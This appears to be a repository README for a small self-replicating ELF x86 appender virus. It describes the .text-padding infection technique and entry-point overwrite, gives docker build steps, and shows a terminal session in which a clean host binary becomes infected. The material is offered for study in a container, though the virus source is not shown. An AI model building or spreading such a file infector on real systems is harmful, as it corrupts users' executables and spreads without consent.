ejlb / elf-x86-appender

A dockerised ELF appender virus for x86

ELF x86 appender virus in 800b

The virus infects every infectable elf executable in the current directory using Silvio's classic .text section padding technique. Without debugging symbols it comes in at 800b

• mmap host for improved efficiency
• virus length using jmp trick so no bootstrapping
• overwrites ELF header entry point
• 32bit only

Compile

The virus runs in docker although you do not have to use docker. To compile the image run

docker build -t virus ..

To run the image use the docker.sh script. Once inside the docker container do cd /virus/ && make to compile. The virus code and host will be stored in /tmp

18:57 $ ./docker.sh

root@5d3f53a66f94:/# cd /virus/
root@5d3f53a66f94:/virus# make
root@5d3f53a66f94:/virus# cd /tmp/

root@5d3f53a66f94:/tmp# ./info.sh host
**** host ****
cb261f205ba23d2fcc49fecbcd91e072  host
entry point address:              0x8048320
host is clean

root@5d3f53a66f94:/tmp# ./info.sh appender
**** appender ****
81cb4c926b9da8cea19806f1fda2c658  appender
entry point address:              0x80482f0
appender is infected

root@203ff78bcad2:/tmp# ./host
hello world
root@203ff78bcad2:/tmp# ./appender
infect
root@203ff78bcad2:/tmp# ./host
infect
hello world

root@5d3f53a66f94:/tmp# ./info.sh host
**** host ****
72f68dd92d78201725a85b4b00254848  host
entry point address:              0x80485bd
host is infected